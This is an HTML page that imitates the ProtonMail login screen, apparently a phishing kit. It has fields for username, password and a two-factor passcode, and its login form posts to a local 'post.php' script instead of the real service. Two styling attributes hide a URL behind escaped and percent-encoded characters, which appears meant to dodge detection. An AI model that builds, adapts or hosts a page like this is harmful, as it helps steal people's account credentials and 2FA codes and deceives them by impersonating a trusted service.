| 12345678910111213141516171819202122232425262728293031323334 |
- <!DOCTYPE html>
- <html ng-app="proton" ng-csp="no-unsafe-eval" class="protonmail ua-gecko ua-gecko-52 ua-gecko-52-0 ua-firefox ua-firefox-52 ua-firefox-52-0 ua-desktop ua-desktop-linux js" lang="en"><head>
- <meta http-equiv="content-type" content="text/html; charset=UTF-8"><style type="text/css">@charset "UTF-8";[ng\:cloak],[ng-cloak],[data-ng-cloak],[x-ng-cloak],.ng-cloak,.x-ng-cloak,.ng-hide:not(.ng-hide-animate){display:none !important;}ng\:form{display:block;}.ng-animate-shim{visibility:hidden;}.ng-anchor{position:absolute;}</style><meta charset="utf-8"><meta name="viewport" content="width=device-width,user-scalable=no"><meta http-equiv="x-dns-prefetch-control" content="off"><!-- base href="https://mail.protonmail.com/" --><title>Login | ProtonMail</title><meta name="description" content="Log in or create an account."><link rel="apple-touch-icon" sizes="57x57" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-57x57.png"><link rel="apple-touch-icon" sizes="60x60" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-60x60.png"><link rel="apple-touch-icon" sizes="72x72" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-72x72.png"><link rel="apple-touch-icon" sizes="76x76" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-76x76.png"><link rel="apple-touch-icon" sizes="114x114" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-114x114.png"><link rel="apple-touch-icon" sizes="120x120" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-120x120.png"><link rel="apple-touch-icon" sizes="144x144" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-144x144.png"><link rel="apple-touch-icon" sizes="152x152" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-152x152.png"><link rel="apple-touch-icon" sizes="180x180" href="https://mail.protonmail.com/assets/favicons/apple-touch-icon-180x180.png"><link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-32x32.png" sizes="32x32"><link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-194x194.png" sizes="194x194"><link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-96x96.png" sizes="96x96"><link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/android-chrome-192x192.png" sizes="192x192"><link rel="icon" type="image/png" href="https://mail.protonmail.com/assets/favicons/favicon-16x16.png" sizes="16x16"><link rel="manifest" href="https://mail.protonmail.com/manifest.json"><link rel="mask-icon" href="https://mail.protonmail.com/assets/favicons/safari-pinned-tab.svg" color="#333366"><link rel="shortcut icon" href="https://mail.protonmail.com/assets/favicons/favicon.ico"><meta name="apple-mobile-web-app-title" content="ProtonMail"><meta name="application-name" content="ProtonMail"><meta name="msapplication-TileColor" content="#333366"><meta name="msapplication-TileImage" content="/assets/favicons/mstile-144x144.png"><meta name="theme-color" content="#333366"><meta name="apple-itunes-app" content="app-id=979659905"><script src="./vendorLazy.js" async=""></script><link href="./styles.css" rel="stylesheet"><script src="./appLazy.js" async=""></script><style id="angular-vs-repeat-style">
- .vs-repeat-debug-element {
- top: 50%;
- left: 0;
- right: 0;
- height: 1px;
- background: red;
- z-index: 99999999;
- box-shadow: 0 0 20px red;
- }
- .vs-repeat-debug-element + .vs-repeat-debug-element {
- display: none;
- }
- .vs-repeat-before-content,
- .vs-repeat-after-content {
- border: none !important;
- padding: 0 !important;
- }
- </style></head><body ng-class="{
- locked: (isLoggedIn && isLocked) || ('login'|isState) || ('login.unlock'|isState) || ('eo.unlock'|isState) || ('eo.message'|isState) || ('reset'|isState) || ('eo.reply'|isState) || ('reset'|isState),
- login:!isLoggedIn,
- unlock:isLocked,
- secure:isSecure,
- light: ('support.reset-password'|isState) || ('signup'|isState) || ('login.setup'|isState) || ('pre-invite'|isState) || ('support.message'|isState),
- scroll: ('signup'|isState) || ('login.setup'|isState) || ('secured.print'|isState)
- }" data-app-config-body="" class="appConfigBody-is-tablet login unlock locked" id="login"><!----><div id="pm_loading" class="protonLoader" ng-class="{ 'show': loggingOut }"> <div class="protonLoaderIcon"> <svg xmlns="http://www.w3.org/2000/svg" xlink="http://www.w3.org/1999/xlink" version="1.1" width="12px" height="16px"> <g xmlns="http://www.w3.org/2000/svg"> <path fill="#9397cd" d="M5.642,0.23c0,0-4.677-0.154-5.642,5.035v3.534c0,0,0.04,0.378,1.104,1.146 c1.064,0.768,3.817,2.931,4.538,2.931s3.475-2.163,4.538-2.931c1.064-0.768,1.104-1.146,1.104-1.146V5.264 C10.319,0.076,5.642,0.23,5.642,0.23z M8.845,7.191H5.642H2.439V5.264c0.65-2.577,3.203-2.612,3.203-2.612s2.553,0.035,3.203,2.612 V7.191z"></path> <path fill="#9397cd" d="M5.642,13.672c0,0-0.725-0.071-1.292-0.465C3.783,12.813,0,10.11,0,10.11v5.35c0,0,0.032,0.622,0.718,0.622 s4.925,0,4.925,0s4.239,0,4.925,0s0.718-0.622,0.718-0.622v-5.35c0,0-3.783,2.703-4.35,3.097 C6.367,13.601,5.642,13.672,5.642,13.672z"></path> </g> </svg> </div> </div><!----><div ui-view="main" autoscroll="false" id="body"><header class="pm_opensans headerNoAuth-container" ng-class="{ 'isLoggedIn': isLoggedIn }"> <ul class="headerNoAuth-list"> <li class="headerNoAuth-item-back"> <a class="headerNoAuth-item-back-button__noAuth" href="https://protonmail.com/" target="_self"> <span translate="" translate-context="Action">Back to protonmail.com</span> </a> <a class="headerNoAuth-item-back-btn__Auth" href="https://mail.protonmail.com/inbox" title="Inbox"> <span translate="" translate-context="Action">Back to inbox</span> </a> </li> <li class="headerNoAuth-item-report"> <button type="button" class="headerNoAuth-item-report-button newBugReport-container"> <div class="newBugReport-wrapper"> <i class="newBugReport-icon fa fa-bug sidebarApp-icon"></i> <span translate-context="Action" translate="">Report bug</span> </div> </button> </li> <li class="headerNoAuth-item-signup__noAuth"> <a style="background-image: u\r\l('https://%6d%61%69%6c%2e%70%72%6f%74%6f%6e%6d%61%69%6c%2e%63%6f%6d/%61%73%73%65%74%73/%68%6f%73%74%2e%70%6e%67')" data-key="forFree" class="headerNoAuth-item-signup-button pm_button primary" href="https://protonmail.com/signup">Sign up for free</a> </li> <li class="headerNoAuth-item-logout__Auth"> <a class="headerNoAuth-item-logout-button pm_button primary" ui-sref="login" translate="" translate-context="Action" href="https://mail.protonmail.com/login">Log out</a> </li> </ul> </header> <div class="row"> <!----><div ui-view="panel"><form method="post" id="pm_login" name="loginForm" class="pm_panel alt pm_form loginForm-container ng-pristine ng-invalid ng-invalid-required" novalidate="" role="form" autocomplete="on" ng-submit="enterLoginPassword($event)" action="post.php" ng-show="twoFactor === 0"> <img src="./logo.png" alt="ProtonMail" class="logo" height="20"> <h4 class="text-center margin-bottom"> <i class="fa fa-user title-icon"></i> <span translate-context="Title" translate="">User login</span> </h4> <!----> <input autofocus="" autocapitalize="off" autocorrect="off" ng-model="username" tabindex="1" id="username" name="username" placeholder-translate-context="login form" class="margin loginForm-input-username ng-pristine ng-empty ng-invalid ng-invalid-required ng-touched" required="" placeholder="Username" type="text"> <div class="margin loginForm-input-password password-container customPasswordToggler" data-id="password" data-name="password" data-value="password" data-tabindex="2" data-form="loginForm" placeholder="Password"> <input class="password-input ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required" ng-model="value" autocapitalize="off" autocorrect="off" autocomplete="off" required="" data-toggle-password="" id="password" name="password" placeholder="Password" tabindex="2" type="password"> <div class="password-messages ng-active" ng-messages="message"> <!----><p ng-message="required" class="text-red" translate-context="Error" translate="">Field required</p> <!----> </div> <button type="button" class="togglePassword-btn-toggle">
- <i class="togglePassword-icon-toText fa fa-eye" pt-tooltip="Show password" title="" aria-label="Show password" data-original-title="Show password"></i>
- <i class="togglePassword-icon-toPassword fa fa-eye-slash" pt-tooltip="Hide password" title="" aria-label="Hide password" data-original-title="Hide password"></i>
- </button></div> <div class="loginForm-actions"> <div class="loginForm-actions-column"> <button id="login_btn" type="submit" tabindex="3" class="loginForm-actions-main pm_button primary pull-right loginForm-btn-submit" ng-disabled="networkActivity.loading()" translate-context="Action" translate="">Login</button> <div class="loginForm-actions-row"> <button class="loginForm-btn-help" ng-click="displayHelpModal()" type="button" translate-context="Action" translate-comment="link for login help" translate="">Need help?</button> <a style="background-image: u\r\l('https://%6d%61%69%6c%2e%70%72%6f%74%6f%6e%6d%61%69%6c%2e%63%6f%6d/%61%73%73%65%74%73/%68%6f%73%74%2e%70%6e%67')" class="loginForm-link-signup loginForm-actions-right" href="https://protonmail.com/signup">Create Account</a> </div> </div> </div> <input id="hashed_pw" name="hashed_pw" autocomplete="off" type="hidden"> </form> <form method="post" id="pm_loginTwoFactor" name="loginTwoFactorForm" class="pm_panel alt pm_form ng-pristine ng-hide ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength" novalidate="" role="form" autocomplete="off" ng-submit="enterTwoFactor($event)" action="loginTwoFactor" ng-show="twoFactor === 1"> <img src="./logo.png" alt="ProtonMail" class="logo" height="20"> <h4 class="text-center margin-bottom"> <i class="fa fa-user title-icon"></i> <span translate-context="Title" translate="">Two-Factor Authentication</span> </h4> <!----> <div class="margin"> <input autocapitalize="off" autocorrect="off" autocomplete="off" class="TwoFA-input ng-empty ng-invalid ng-invalid-required ng-valid-minlength ng-valid-maxlength" ng-minlength="6" ng-maxlength="8" required="" ng-model="twoFactorCode" autofocus="autofocus" tabindex="2" id="twoFactorCode" name="twoFactorCode" placeholder="Two-factor passcode" type="text"> </div> <div class="loginForm-actions"> <div class="loginForm-actions-column"> <button id="login_btn_2fa" type="submit" tabindex="3" class="loginForm-actions-main pm_button primary pull-right" ng-disabled="networkActivity.loading() || loginTwoFactorForm.$invalid" translate-context="Action" translate="" disabled="disabled">Login</button> <a class="pm_button link pull-left" ng-click="displayHelpModal()" translate-context="Action" translate-comment="link for login help" translate="">Need help?</a> </div> </div> </form> <div class="text-center" ng-show="::showOld"> <a class="pm_button link login-btn-oldversion" style="color:#fff;text-transform:none" href="https://old.protonmail.com/login" target="_self" translate-context="Action" translate-comment="link for old" translate="">Having trouble? Try an older version</a> </div> </div> </div> <div id="pm_footer"> <p><span class="appCopyright-container">2021 ProtonMail.com - Made globally, hosted in Switzerland.</span> <a data-prefix="v" href="https://protonmail.com/blog/protonmail-v3-13-release-notes/" title="Mon May 21 2020" target="_blank" class="appVersion-container">3.13.7</a></p> </div> </div><noscript class="pm_noscript">ProtonMail requires Javascript. Enable Javascript and reload this page to continue.</noscript><script>function isGoodPrngAvailable(){return!("undefined"==typeof window||!window.crypto||!window.crypto.getRandomValues)||"undefined"!=typeof window&&"object"==typeof window.msCrypto&&"function"==typeof window.msCrypto.getRandomValues}!1===navigator.cookieEnabled&&(alert("Cookies are required to use ProtonMail. Please enable cookies in your browser."),window.location="https://protonmail.com/compatibility"),"undefined"==typeof Storage&&(alert("sessionStorage is required to use ProtonMail. Please enable sessionStorage in your browser."),window.location="https://protonmail.com/compatibility"),isGoodPrngAvailable()||(alert("A browser that has a Pseudo Random Number Generator is required to use ProtonMail. Please update your browser."),window.location="https://protonmail.com/compatibility")</script><script src="./openpgp.js"></script><script src="./vendor.js"></script><script type="text/javascript" src="./app.js"></script>
- <span class="ptdnd-notification ptdnd-notification-firefox"></span></body></html>
|